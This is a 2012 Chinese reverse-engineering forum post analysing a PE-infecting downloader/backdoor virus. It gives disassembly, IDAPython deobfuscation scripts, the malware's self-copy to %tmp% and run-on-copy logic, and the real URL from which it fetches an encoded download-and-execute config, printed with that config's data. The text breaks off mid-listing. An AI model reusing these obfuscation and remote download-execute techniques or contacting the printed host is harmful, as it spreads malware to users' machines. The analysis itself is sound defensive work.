一次病毒分析之旅

1 未读 默认 【原创】一次病毒分析之旅
帅哥 yuansunxue 当前在线

From :http://bbs.pediy.com/showthread.php?t=150131



标 题: 【原创】一次病毒分析之旅
作 者: yuansunxue
时 间: 2012-05-02,23:42:19
链 接: http://bbs.pediy.com/showthread.php?t=150131

这个是我搞病毒分析以来遇到的相对来说功能比较齐全的病毒,有感染pe文件,有下载执行,有后门功能等。


这个病毒是会感染pe文件的 调试的时候要小心 不过不联网的话 应该不会感染 因为其感染是受网络控制的


入口:
代码:
00406F88 >/$  55            push    ebp
00406F89  |.  8BEC          mov     ebp, esp
00406F8B  |.  53            push    ebx
00406F8C  |.  51            push    ecx
00406F8D  |.  E8 04000000   call    00406F96
00406F92  |.  92            xchg    eax, edx
00406F93  |.  5F            pop     edi
00406F94  |.  0000          add     byte ptr [eax], al
00406F96  |$  5B            pop     ebx
00406F97  |.  2B1B          sub     ebx, dword ptr [ebx]    ;这里ebx = 401000
00406F99  |.  8B03          mov     eax, dword ptr [ebx]
00406F9B  |.  B9 06610000   mov     ecx, 6106
00406FA0  |>  83F9 04       /cmp     ecx, 4
00406FA3  |.  72 1A         |jb      short 00406FBF
00406FA5  |.  81F9 82010000 |cmp     ecx, 182
00406FAB  |.  73 08         |jnb     short 00406FB5
00406FAD  |.  81F9 3C010000 |cmp     ecx, 13C
00406FB3  |.  77 02         |ja      short 00406FB7
00406FB5  |>  3103          |xor     dword ptr [ebx], eax
00406FB7  |>  83C3 04       |add     ebx, 4
00406FBA  |.  83E9 04       |sub     ecx, 4
00406FBD  |.^ EB E1         \jmp     short 00406FA0
00406FBF  |>  E8 33010000   call    004070F7
发现代码是加密的,解密过程很简单,写个idapython来解密下:
代码:
def decrypt_main_exe(startva = 0x401000):
    eax = Dword(startva)
    #alreay decrypted?
    if eax ==0:
        return
    counter = 0x6106
    while True:
        if counter < 4:
            break
        if (counter > 0x13c) and (counter<0x182):
            startva = startva + 4
            counter = counter -4
        else:
            dword_value = Dword(startva)
            dword_value = dword_value ^ eax
            PatchDword(startva,dword_value)
            startva = startva + 4
            counter = counter -4
走进 004070f7 
代码:
.text:004070F7 key_call        proc near               ; CODE XREF: .text:loc_406FBFp
.text:004070F7                 call    GetFuncsAddress
.text:004070FC                 test    eax, eax
.text:004070FE                 jz      short locret_407105
.text:00407100
.text:00407100 loc_407100:
.text:00407100                 call    sub_406FCA
.text:00407105
.text:00407105 locret_407105:                          ; CODE XREF: key_call+7j
.text:00407105                 retn

004070f7的call 在ida中直接去大致浏览一下,发现只是获取一些api地址 
但是其中用到了一些小技巧来影响我们的反汇编分析


1、获取api地址的时候,比较api地址的前一个字节是否是90 如果是90 则api地址减一,
造成od无法正确的现实api调用。直接ctrl + b 搜索二进制 8038907401 nop掉即可。
代码:
00401325    48              dec     eax
00401326    8038 90         cmp     byte ptr [eax], 90
00401329    74 01           je      short 0040132C
0040132B    40              inc     eax
获取的api地址为:

代码:
00401014  7C80AC28  kernel32.GetProcAddress
00401018  7C801D77  kernel32.LoadLibraryA
0040101C  7C80EB3F  kernel32.CreateMutexA
00401020  7C910331  ntdll.RtlGetLastWin32Error
00401024  7C809B77  kernel32.CloseHandle
00401028  7C86114D  kernel32.WinExec
0040102C  7C812851  kernel32.GetVersionExA
00401030  7C90311B  ntdll.RtlZeroMemory
00401034  7C80C729  kernel32.lstrcpyA
00401038  7C838FB9  kernel32.lstrcatA
0040103C  7C80C6E0  kernel32.lstrlenA
00401040  7C8397A1  kernel32.GetCurrentDirectoryA
00401044  7C80B357  kernel32.GetModuleFileNameA
00401048  7C81082F  kernel32.CreateThread
0040104C  7C830053  kernel32.CopyFileA
00401050  7C8221CF  kernel32.GetTempPathA
00401054  7C8681F6  kernel32.GetLongPathNameA
00401058  7C81174C  kernel32.GetFileAttributesA
写个idapython脚本来对地址进行标记一下:

代码:
#encoding=utf-8

#指定iat文件路径,内容是从od里拷出来的
iatfile=r"C:\IDA\idc\py\iat.txt"
def main():
    diclist = dict()
    hfile = file(iatfile,'r')
    for line in hfile.readlines( ):
        if len(line)>0x10:
            address = long(line[0:8],16)
            funcname = line.split('.')
        if len(funcname) == 2:
            name = funcname[1]
            #去掉名字后面的换行或者空格
            got_name = name[:-1]
            diclist[got_name] = address

    sorted_dic = map(lambda x:(x[0], x[1]), diclist.items())
    for funcname,address in sorted_dic:
        address=address & 0xFFFFFFFF
        MakeDword(address)
        MakeName(address,funcname)
        print "address %08x,funcname %s" % (address,funcname)

if __name__ == "__main__": 
    print "label start"
    main()
    print "finished"

2、 一些指令变形
代码:
0040132C    E8 04000000     call    00401335
00401331    1D 0300005B     sbb     eax, 5B000003
00401336    2B1B            sub     ebx, dword ptr [ebx]
上面的这几条是变形指令,直接go到00401335可以看到:

0040132C    E8 04000000     call    00401335
00401335    5B              pop     ebx
00401336    2B1B            sub     ebx, dword ptr [ebx]


上面的三步指令相当于
.text:00401333                 mov     ebx, 0x401014

其中ebx可以是其他的寄存器,不过在分析过程中只遇到过eax,ebx,edi,esi

类似的变形指令还有

0040127A    E8 04000000     call    00401283
00401283    58              pop     eax                              ; Copy_of_.0040127F
00401284    2B00            sub     eax, dword ptr [eax]
00401286    FF10            call    dword ptr [eax]

实际为:

00401282    FF15 18104000   call    dword ptr [401018]                    ; kernel32.LoadLibraryA
写个idaPython脚本来清理下变形代码:

代码:
#encoding=utf-8

def main(startva = 0x401000):

    FixSegStart = SegStart(startva)
    FixSegEnd = SegEnd(startva)
    #print "segstart:%08x segend:%08x" % (FixSegStart,FixSegEnd)
    for i in range(FixSegStart, FixSegEnd):
        curva = i
        if Byte(curva) == 0xe8 and Dword(curva+1) == 0x4:
            #定位到call下面的地址
            curva = curva + 5

            offset = Dword(curva)
            #print "offset is %08x" % offset
            #if (curva-offset) < FixSegStart:
            #    print "%08x error"  % curva
            #    continue
            call_dest_addr = curva - offset
            #print "call_dest_addr is %08x" % call_dest_addr
            if  Byte(curva+4) == 0x58 and Dword(curva+5) == 0x10ff002b:
                print "curva is %08x" % curva
                #开始patch代码
                PatchByte(curva-5,0x90)
                PatchDword(curva-4,0x90909090)
                MakeCode(curva-4)
                MakeCode(curva-3)
                MakeCode(curva-2)
                MakeCode(curva-1)
                MakeCode(curva-5)
                PatchByte(curva,0x90)
                PatchByte(curva+1,0x90)
                PatchByte(curva+2,0x90)
                PatchWord(curva+3,0x15ff)
                PatchDword(curva+5,call_dest_addr)
                MakeCode(curva-5)
                
                MakeCode(curva+1)
                MakeCode(curva+2)
                MakeUnknown(curva+3,0x6,0)
                HideArea(curva-5, curva + 3, "nop code", "----------", "----------", 0xa0a0a0)
                MakeCode(curva+3)
                '''
.text:004047E3 E8 04 00 00 00                    call    loc_4047EC
.text:004047E3                   ; ---------------------------------------------------------------------------
.text:004047E8 B3 00 00 00                       dd 0B3h
.text:004047EC                   ; ---------------------------------------------------------------------------
.text:004047EC
.text:004047EC                   loc_4047EC:                             ; CODE XREF: .text:004047E3p
.text:004047EC 58                                pop     eax
.text:004047ED 2B 00                             sub     eax, [eax]
.text:004047EF 8B 4D 08                          mov     ecx, [ebp+8]
相当于mov eax,xxx
                '''
            elif Byte(curva+4) == 0x58 and Word(curva+5) == 0x002b and Word(curva+7) != 0x10ff:
                #获取mov的值
                pop_eax = curva
                dword_eax = Dword(pop_eax)
                moved_value = pop_eax - dword_eax
                print "moved_value is % 08x" % moved_value
                moved_value = moved_value & 0xffffffff
                #开始修改代码
                PatchByte(curva+2,0xb8)
                PatchDword(curva+3,moved_value)
                #nop掉之前的代码
                PatchDword(curva-5,0x90909090)
                PatchWord(curva-1,0x9090)
                PatchByte(curva+1,0x90)
                #让ida认为这是代码
                
                MakeUnknown(curva-5,0xc,0)
                MakeCode(curva-5)
                MakeCode(curva-4)
                MakeCode(curva-3)
                MakeCode(curva-2)
                MakeCode(curva-1)
                MakeCode(curva+1)
                MakeCode(curva+2)
                HideArea(curva-5, curva + 2, "nop code", "----------", "----------", 0xa0a0a0)
                '''
.text:00404914 E8 04 00 00 00                    call    loc_40491D
.text:00404914                   ; ---------------------------------------------------------------------------
.text:00404919 D0 01 00 00                       dd 1D0h
.text:0040491D                   ; ---------------------------------------------------------------------------
.text:0040491D
.text:0040491D                   loc_40491D:                             ; CODE XREF: .text:00404914p
.text:0040491D 5B                                pop     ebx
.text:0040491E 2B 1B                             sub     ebx, [ebx]
                '''

            elif Byte(curva+4) == 0x5b and Word(curva+5) == 0x1b2b and Word(curva+7) != 0xd3ff:
                #获取mov的值
                pop_ebx = curva
                dword_ebx = Dword(pop_ebx)
                moved_value = pop_ebx - dword_ebx
                #开始修改代码
                PatchByte(curva+2,0xbb)
                PatchDword(curva+3,moved_value)
                #nop掉之前的代码
                PatchDword(curva-5,0x90909090)
                PatchWord(curva-1,0x9090)
                PatchByte(curva+1,0x90)
                #让ida认为这是代码
                
                MakeUnknown(curva-5,0xc,0)
                MakeCode(curva-5)
                MakeCode(curva-4)
                MakeCode(curva-3)
                MakeCode(curva-2)
                MakeCode(curva-1)
                MakeCode(curva+1)
                MakeCode(curva+2)
                HideArea(curva-5, curva + 2, "nop code", "----------", "----------", 0xa0a0a0)
                '''
.text:00405E46 E8 04 00 00 00                    call    loc_405E4F
.text:00405E46                   ; ---------------------------------------------------------------------------
.text:00405E4B FB 45 00 00                       dd 45FBh
.text:00405E4F                   ; ---------------------------------------------------------------------------
.text:00405E4F
.text:00405E4F                   loc_405E4F:                             ; CODE XREF: net_activity:loc_405E46p
.text:00405E4F 5F                                pop     edi
.text:00405E50 2B 3F                             sub     edi, [edi]      ; 00401850
                '''
            elif Byte(curva+4) == 0x5f and Word(curva+5) == 0x3f2b and Word(curva+7) != 0xd7ff:
                #获取mov的值
                pop_edi = curva
                dword_edi = Dword(pop_edi)
                moved_value = pop_edi - dword_edi
                #开始修改代码
                PatchByte(curva+2,0xbf)
                PatchDword(curva+3,moved_value)
                #nop掉之前的代码
                PatchDword(curva-5,0x90909090)
                PatchWord(curva-1,0x9090)
                PatchByte(curva+1,0x90)
                #让ida认为这是代码
                
                MakeUnknown(curva-5,0xc,0)
                MakeCode(curva-5)
                MakeCode(curva-4)
                MakeCode(curva-3)
                MakeCode(curva-2)
                MakeCode(curva-1)
                MakeCode(curva+1)
                MakeCode(curva+2)
                HideArea(curva-5, curva + 2, "nop code", "----------", "----------", 0xa0a0a0)
                '''
.text:00402664 E8 04 00 00 00                    call    loc_40266D
.text:00402664                   ; ---------------------------------------------------------------------------
.text:00402669 69 16 00 00                       dd 1669h
.text:0040266D                   ; ---------------------------------------------------------------------------
.text:0040266D
.text:0040266D                   loc_40266D:                             ; CODE XREF: Infect_EXE_dll+540j
.text:0040266D 5E                                pop     esi
.text:0040266E 2B 36                             sub     esi, [esi]
                '''
            elif Byte(curva+4) == 0x5e and Word(curva+5) == 0x362b and Word(curva+7) != 0xd6ff:
                #获取mov的值
                pop_esi = curva
                dword_esi = Dword(pop_esi)
                moved_value = pop_esi - dword_esi
                #开始修改代码
                PatchByte(curva+2,0xbe)
                PatchDword(curva+3,moved_value)
                #nop掉之前的代码
                PatchDword(curva-5,0x90909090)
                PatchWord(curva-1,0x9090)
                PatchByte(curva+1,0x90)
                #让ida认为这是代码
                
                MakeUnknown(curva-5,0xc,0)
                MakeCode(curva-5)
                MakeCode(curva-4)
                MakeCode(curva-3)
                MakeCode(curva-2)
                MakeCode(curva-1)
                MakeCode(curva+1)
                MakeCode(curva+2)
                HideArea(curva-5, curva + 2, "nop code", "----------", "----------", 0xa0a0a0)


if __name__ == "__main__": 
    print "---------------------\nFix Start..."
    #fix_call_dword()
    main()
    print "finished"
现在代码都清理干净了,用ida静态分析即可,有必要可以用od动态调试下,
程序首先会对运行路径以及是否已经有病毒在运行进行一下判断,满足条件才运行病毒代码

代码:
.text:00406FCA sub_406FCA      proc near               ; CODE XREF: key_call:loc_407100p
.text:00406FCA
.text:00406FCA var_7FF7B       = byte ptr -7FF7Bh
.text:00406FCA tmp_path        = byte ptr -800h
.text:00406FCA filepath        = byte ptr -400h
.text:00406FCA
.text:00406FCA                 push    ebp
.text:00406FCB                 mov     ebp, esp
.text:00406FCD                 add     esp, -800h
.text:00406FD3                 push    400h            ; nSize
.text:00406FD8                 lea     eax, [ebp+filepath]
.text:00406FDE                 push    eax             ; lpFilename
.text:00406FDF                 push    0               ; hModule
.text:00406FE1 ; nop code
.text:00406FE9 ; ---------------------------------------------------------------------------
.text:00406FE9                 call    GetModuleFileNameA
.text:00406FEF                 push    400h            ; cchBuffer
.text:00406FF4                 lea     eax, [ebp+filepath]
.text:00406FFA                 push    eax             ; lpszLongPath
.text:00406FFB                 push    eax             ; lpszShortPath
.text:00406FFC ; nop code
.text:00407004                 call    GetLongPathNameA
.text:0040700A                 lea     eax, [ebp+tmp_path]
.text:00407010                 push    eax             ; lpBuffer
.text:00407011                 push    400h            ; nBufferLength
.text:00407016 ; nop code
.text:0040701E ; ---------------------------------------------------------------------------
.text:0040701E                 call    GetTempPathA
.text:00407024                 push    400h            ; cchBuffer
.text:00407029                 lea     eax, [ebp+tmp_path]
.text:0040702F                 push    eax             ; lpszLongPath
.text:00407030                 push    eax             ; lpszShortPath
.text:00407031 ; nop code
.text:00407039 ; ---------------------------------------------------------------------------
.text:00407039                 call    GetLongPathNameA
.text:0040703F                 lea     eax, [ebp+tmp_path]
.text:00407045                 push    eax             ; lpString
.text:00407046 ; nop code
.text:0040704E ; ---------------------------------------------------------------------------
.text:0040704E                 call    lstrlenA
.text:00407054                 mov     ecx, eax
.text:00407056                 lea     esi, [ebp+tmp_path]
.text:0040705C                 lea     edi, [ebp+filepath]
.text:00407062
.text:00407062 @compare:                               ; CODE XREF: sub_406FCA+ACj
.text:00407062                 test    ecx, ecx
.text:00407064                 jz      short @equal
.text:00407066                 mov     al, [esi]
.text:00407068                 mov     ah, [edi]
.text:0040706A                 or      eax, 2020h
.text:0040706F                 xor     al, ah
.text:00407071                 jnz     short loc_40708A
.text:00407073                 inc     esi
.text:00407074                 inc     edi
.text:00407075                 dec     ecx
.text:00407076                 jmp     short @compare    
.text:00407078 ; ---------------------------------------------------------------------------

  判断程序是否在%tmp%在启动的 如果是 则来到这里 不是则跳到0040708a
.text:00407078
.text:00407078 @equal:                                 ; CODE XREF: sub_406FCA+9Aj
.text:00407078                 call    @check_mutex  确保只有一个病毒进程在运行
.text:0040707D                 test    eax, eax
.text:0040707F                 jnz     short @ren
.text:00407081                 push    0
.text:00407083                 call    sub_406D4D    运行payload  
.text:00407088                 jmp     short @ren
.text:0040708A ; ---------------------------------------------------------------------------
.text:0040708A
.text:0040708A loc_40708A:                             ; CODE XREF: sub_406FCA+A7j
.text:0040708A                 call    sub_406D5E      判断病毒启动的目录下是否存在AAA_AAA_AAA_01文件,如果存在则

运行 "explorer.exe C:\Documents and Settings\SRE\Desktop\AAA_AAA_AAA_01"

AAA_AAA_AAA_01是什么呢? 在网上搜了一下,跟极品飞车12的车的修改代码,有关猜测病毒是通过这个传播的


.text:0040708F                 call    @check_mutex
.text:00407094                 test    eax, eax
.text:00407096                 jnz     short @ren
.text:00407098                 call    loc_4070A7
.text:00407098 ; ---------------------------------------------------------------------------
.text:0040709D aPpsap_exe      db 'ppsap.exe',0
.text:004070A7 ; ---------------------------------------------------------------------------
.text:004070A7
.text:004070A7 loc_4070A7:                             ; CODE XREF: sub_406FCA+CEp
.text:004070A7                 lea     eax, [ebp+tmp_path]
.text:004070AD                 push    eax             ; lpString1
.text:004070AE ; nop code
.text:004070B6 ; ---------------------------------------------------------------------------
.text:004070B6                 call    lstrcatA


  拷贝自身到%tmp%\ppsap.exe
.text:004070BC                 push    0               ; bFailIfExists
.text:004070BE                 lea     eax, [ebp+tmp_path]
.text:004070C4                 push    eax             ; lpNewFileName
.text:004070C5                 lea     eax, [ebp+filepath]
.text:004070CB                 push    eax             ; lpExistingFileName
.text:004070CC ; nop code
.text:004070D4                 call    CopyFileA
.text:004070DA                 test    eax, eax
.text:004070DC                 jz      short @ren
  拷贝成功则运行%tmp%\ppsap.exe
.text:004070DE                 push    0               ; uCmdShow
.text:004070E0                 lea     eax, [ebp+tmp_path]
.text:004070E6                 push    eax             ; lpCmdLine
.text:004070E7 ; nop code
.text:004070EF ; ---------------------------------------------------------------------------
.text:004070EF                 call    WinExec
.text:004070F5
.text:004070F5 @ren:                                   ; CODE XREF: sub_406FCA+B5j
.text:004070F5                                         ; sub_406FCA+BEj ...
.text:004070F5                 leave
.text:004070F6                 retn

通过上面的代码我们可以看到起主要恶意代码在00406d4d

代码:
.text:00406D4D sub_406D4D      proc near               ; CODE XREF: sub_406FCA+B9p
.text:00406D4D                                         ; DATA XREF: .text:00406EC6o
.text:00406D4D                 push    ebp
.text:00406D4E                 mov     ebp, esp
.text:00406D50
.text:00406D50 loc_406D50:

  依然是获取病毒所需的api地址,处理方法同第一次,获取api列表我就不写了

.text:00406D50                 call    GetFunsAddress_0
.text:00406D55                 call    @net_activity_start  接下来进行一些网络活动
.text:00406D5A                 leave
.text:00406D5B                 retn    4
.text:00406D5B sub_406D4D      endp
进入00406d55处的call

代码:
.text:00406CB5 @net_activity_start proc near           ; CODE XREF: @net_activity_start+92j
.text:00406CB5                                         ; sub_406D4D+8p
.text:00406CB5                 call    net_activity
.text:00406CBA                 test    eax, eax
.text:00406CBC                 jz      short loc_406D34
.text:00406CBE                 push    0               ; protocol
.text:00406CC0                 push    2               ; type
.text:00406CC2                 push    2               ; af
.text:00406CC4 ; nop code
.text:00406CCC ; ---------------------------------------------------------------------------
.text:00406CCC                 call    socket
.text:00406CD2 ; nop code
.text:00406CD9                 mov     ebx, offset unk_401860
.text:00406CDE                 mov     [ebx], eax      ; dword(00401860) = hsocket
.text:00406CE0 ; nop code
.text:00406CE7                 mov     eax, 401888h
.text:00406CEC                 push    eax
.text:00406CED ; nop code
.text:00406CF4                 mov     eax, offset unk_401860
.text:00406CF9                 push    dword ptr [eax]
.text:00406CFB ; nop code
.text:00406D02                 mov     eax, offset sub_40512F
.text:00406D07                 push    eax             ; 0040512F
.text:00406D08                 call    Call_CreateThread
.text:00406D0D                 call    send_data_net_activity
.text:00406D12 ; nop code
.text:00406D19                 mov     eax, offset unk_401860
.text:00406D1E                 push    dword ptr [eax] ; s
.text:00406D20                 mov     dword ptr [eax], 0FFFFFFFFh
.text:00406D26 ; nop code
.text:00406D2E ; ---------------------------------------------------------------------------
.text:00406D2E                 call    closesocket
.text:00406D34
.text:00406D34 loc_406D34:                             ; CODE XREF: @net_activity_start+7j
.text:00406D34                 push    1B7740h         ; dwMilliseconds
.text:00406D39 ; nop code
.text:00406D41 ; ---------------------------------------------------------------------------
.text:00406D41                 call    Sleep
.text:00406D47                 jmp     @net_activity_start
.text:00406D4C ; ---------------------------------------------------------------------------
.text:00406D4C                 retn
一步步详解其网络行为:
程序首先从http://home.51.com/?u=testdown&c=diary&a=getdataview&id=10049014下载配置文件,然后进行分析处理获得下载连接,
下载执行

代码:
.text:00406775                 push    ecx
.text:00406776                 mov     [ebp+need_download_config_data_next_or_not], 0
.text:0040677D                 push    100000h         ; dwBytes
.text:00406782                 push    40h             ; uFlags
.text:00406784 ; nop code
.text:0040678C                 call    GlobalAlloc
.text:00406792                 test    eax, eax
.text:00406794                 jz      @retn
.text:0040679A                 mov     [ebp+config_data_for_backdoor], eax
.text:0040679D
.text:0040679D loc_40679D:
.text:0040679D                 push    100000h
.text:004067A2                 push    [ebp+config_data_for_backdoor]
.text:004067A5                 call    loc_4067EB
.text:004067A5 ; ---------------------------------------------------------------------------
.text:004067AA aHttpHome_51_com?uTe db 'http://home.51.com/?u=testdown&c=diary&a=getdataview&id=10049014',0
.text:004067EB ; ---------------------------------------------------------------------------
.text:004067EB
.text:004067EB loc_4067EB:                             ; CODE XREF: net1+39p
.text:004067EB                 call    Read_configdata_from_net
.text:004067F0                 test    eax, eax
.text:004067F2                 jz      short @read_fail
.text:004067F4                 push    eax             ; decrypt data size
.text:004067F5
.text:004067F5 loc_4067F5:                             ; decrypt data
.text:004067F5                 push    [ebp+config_data_for_backdoor]
.text:004067F8                 call    Anslysis_config_data_and_download_execute

下载下来的data:
{

window.modData = {"view":{"id":"10049014","gid":"134960","is_top":"0","heart":"","title":"2010-11-20\u7684\u65e5\u8bb0","memo":"<br \/>\r\n########FPAAAAAACGBKEBBAEJHNEEEOEGFFHAGEGBHEGFDADDDADICOGFHIGFAAGIHEHEHADKCPCPHHHHHHCODBGEGJHDGLCOGDGOCPEDGPGOHEGFGOHEFAGBGOGFCOGBHDHAHIDPGEGPHHGODNGPGLCGGGGJGMGFHAGBHEGIDNHEGFHDHEDHDHDFDICFDCGGEEEOEGCOGEGBHEAA<br \/>\r\n<br \/>\r\n########AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br \/>\r\nqq2install<br \/>\r\n########FLAAAAAADGHOEBJKDELLGCGJHCHEGIGHGJGGHECOGFHIGFAAGIHEHEHADKCPCPHHHHHHCODBGEGJHDGLCOGDGOCPEDGPGOHEGFGOHEFAGBGOGFCOGBHDHAHIDPGEGPHHGODNGPGLCGGGGJGMGFHAGBHEGIDNHEGFHDHEDHDHDFDICFDCGGHBHBDCCOGEGPGDAA <br \/>\r\n<br \/>\r\n          ","weekday":"1","show_time":"2010-11-20 17:37:00","flower":"0","egg":"0","ping":"0","click":"4236526","sources":"0","share_flag":"1","share_users":"","hide_comment":"0","share_num":"0","url":"\/testdown\/diary\/item\/10049014.html","_can_view":"1","_desc":"","_putpass":"0","add_time":"1290245878"},"prev":{"id":"0","gid":"0","title":"\u6682\u65e0\u4e0a\u4e00\u7bc7,\u5f53\u524d\u6b63\u662f\u7b2c\u4e00\u7bc7","show_time":"","url":"\/testdown\/diary\/item\/.html"},"next":{"id":"0","gid":"0","title":"\u6682\u65e0\u4e0b\u4e00\u7bc7,\u5f53\u524d\u6b63\u662f\u6700\u540e\u4e00\u7bc7","show_time":"","url":"\/testdown\/diary\/item\/.html"},"catalog":[{"id":"134960","name":"\u6211\u7684\u65e5\u8bb0","hide":"0","url":"\/testdown\/diary\/group\/134960","count":"1"},{"id":"134961","name":"\u6211\u7684\u6587\u7ae0","hide":"0","url":"\/testdown\/diary\/group\/134961","count":"0"},{"id":"134962","name":"\u7f51\u7edc\u6587\u6458","hide":"0","url":"\/testdown\/diary\/group\/134962","count":"0"}],"comment":{"list":{"total":"0","pages":"0","page":"0","rows":[],"userinfo":[]}},"sharelist":[],"lastvisitor":{"rows":[{"nickname":"54243","face":"http:\/\/static.51img1.com\/sysface\/woman_none_50.jpg","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"0","isopen":"0","user":"237955579","_user":"5759497","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u4f0d\u5148\u751f","face":"http:\/\/p3.u.51img1.com\/39\/31\/267956964_50.gif?v=20120330123104","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"<a href='http:\/\/51vip.51.com\/level\/vipgrade.php' target='_blank'><img src='http:\/\/static.51img1.com\/i\/kf\/viplevel\/vip1.gif?0401' align='absmiddle' border=0 title='\u6210\u957f\u503c 112' style='filter:none;' \/><\/a> ","isconfirm":"1","isopen":"0","user":"267956964","_user":"91628762","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\uff3c\u3002\u88ab\u8fe9\u5ffd\u7565\u3001","face":"http:\/\/p5.u.51img1.com\/55\/d4\/xingfu2025_50.gif?v=20091226161855","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"0","isopen":"2","user":"xingfu2025","_user":"xingfu2025","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u65e0\u804a","face":"http:\/\/static.51img1.com\/sysface\/man_none_50.jpg","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"","isconfirm":"1","isopen":"0","user":"vbvbvbzq","_user":"vbvbvbzq","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"_  \u7eaf \u3001","face":"http:\/\/pe.u.51img1.com\/eb\/fd\/lovening1025_50.gif?v=20101209174127","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"1","isopen":"0","user":"lovening1025","_user":"lovening1025","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"nacy","face":"http:\/\/pa.u.51img1.com\/a9\/f3\/a20088823_50.gif?v=20090313220255","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"0","isopen":"0","user":"a20088823","_user":"a20088823","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u6e05\u98ce\u4f9d\u65e7","face":"http:\/\/p4.u.51img1.com\/40\/47\/dis13141998_50.gif?v=20110614170758","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"","isconfirm":"0","isopen":"0","user":"dis13141998","_user":"dis13141998","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""}],"total":"14"},"morediary":[],"current":{"gid":"134960","ghide":"0","gname":"\u6211\u7684\u65e5\u8bb0","gcount":"1","url":"\/testdown\/diary\/group\/134960"}};

}

解密过程:

代码:
.text:00401A33 Decrypt_read_data proc near             ; CODE XREF: Read_configdata_from_net+19p
.text:00401A33                                         ; sub_405F62+E7p
.text:00401A33
.text:00401A33 first_dword_after_decrypt= dword ptr -4
.text:00401A33 arg_0_read_data = dword ptr  8
.text:00401A33 arg_4_read_size = dword ptr  0Ch
.text:00401A33
.text:00401A33                 push    ebp
.text:00401A34                 mov     ebp, esp
.text:00401A36                 add     esp, 0FFFFFFFCh
.text:00401A39                 push    ebx
.text:00401A3A                 push    ecx
.text:00401A3B                 push    edx
.text:00401A3C                 push    edi
.text:00401A3D                 mov     ebx, [ebp+arg_0_read_data]
.text:00401A40                 mov     ecx, [ebp+arg_4_read_size]
.text:00401A43                 sub     ecx, 0Ah        ; ecx = read_size -8
.text:00401A46
.text:00401A46 @find_loop:                             ; CODE XREF: Decrypt_read_data+2Aj
.text:00401A46                 test    ecx, ecx
.text:00401A48                 jz      short @return_zero
.text:00401A4A                 cmp     dword ptr [ebx], '####'
.text:00401A50                 jnz     short @next_byte
.text:00401A52                 cmp     dword ptr [ebx+4], '####'
.text:00401A59                 jz      short @found_flag ; pass the ######## ebx = found data
.text:00401A5B
.text:00401A5B @next_byte:                             ; CODE XREF: Decrypt_read_data+1Dj
.text:00401A5B                 inc     ebx
.text:00401A5C                 dec     ecx
.text:00401A5D                 jmp     short @find_loop
.text:00401A5F ; ---------------------------------------------------------------------------
.text:00401A5F
.text:00401A5F @found_flag:                            ; CODE XREF: Decrypt_read_data+26j
.text:00401A5F                 add     ebx, 8          ; pass the ######## ebx = found data
.text:00401A62                 sub     ecx, 8          ; ecx = read_size - 8 - found_data_offset -a
.text:00401A62                                         ; 11d5 for 014
.text:00401A65                 mov     edi, [ebp+arg_0_read_data]
.text:00401A68                 shr     ecx, 1          ; 11d5 / 2 = 8ea
.text:00401A6A                 xor     eax, eax
.text:00401A6C
.text:00401A6C @decrypt_loop:                          ; CODE XREF: Decrypt_read_data+55j
.text:00401A6C                 test    ecx, ecx
.text:00401A6E                 jz      short @decrypt_finished
.text:00401A70                 mov     ah, [ebx]       ; ah = found_data[0]
.text:00401A72                 mov     al, [ebx+1]     ; al = found_data[1]
.text:00401A75                 sub     eax, 4141h      ; eax = eax - 0x4141
.text:00401A7A                 mov     edx, eax        ; edx eax - 0x4141
.text:00401A7C                 shr     eax, 4          ; eax = eax >> 4
.text:00401A7F                 or      eax, edx        ; eax = (eax - 0x4141 ) | ((eax - 0x4141 )>>4)
.text:00401A81                 mov     [edi], al       ; byte(read_data) = (eax - 0x4141 ) | ((eax - 0x4141 )>>4)
.text:00401A83                 add     ebx, 2          ; found_data = found_data +2
.text:00401A86                 inc     edi             ; read_data = read_data + 1
.text:00401A87                 dec     ecx             ; ecx --
.text:00401A88                 jmp     short @decrypt_loop
.text:00401A8A ; ---------------------------------------------------------------------------
.text:00401A8A
.text:00401A8A @decrypt_finished:                      ; CODE XREF: Decrypt_read_data+3Bj
.text:00401A8A                 mov     ebx, [ebp+arg_0_read_data]
.text:00401A8D                 mov     ecx, [ebx]      ; ecx = first_dword_after_decrypt
.text:00401A8F                 cmp     ecx, [ebp+arg_4_read_size]
.text:00401A92                 ja      short @return_zero
.text:00401A94                 mov     [ebp+first_dword_after_decrypt], ecx
.text:00401A97                 add     ebx, 4          ; ebx = read_data + 4
.text:00401A9A                 movzx   edx, word ptr [ebx] ; edx = word(read_data+4)
.text:00401A9D                 add     ebx, 2          ; ebx = read_data + 6
.text:00401AA0                 xor     eax, eax
.text:00401AA2                 mov     esi, ebx        ; esi ebx = read_data + 6
.text:00401AA4
.text:00401AA4 @add_together:                          ; CODE XREF: Decrypt_read_data+7Ej
.text:00401AA4                 cmp     ecx, 4
.text:00401AA7                 jb      short @add_over
.text:00401AA9                 add     eax, [esi]
.text:00401AAB                 add     esi, 4
.text:00401AAE                 sub     ecx, 4
.text:00401AB1                 jmp     short @add_together
.text:00401AB3 ; ---------------------------------------------------------------------------
.text:00401AB3
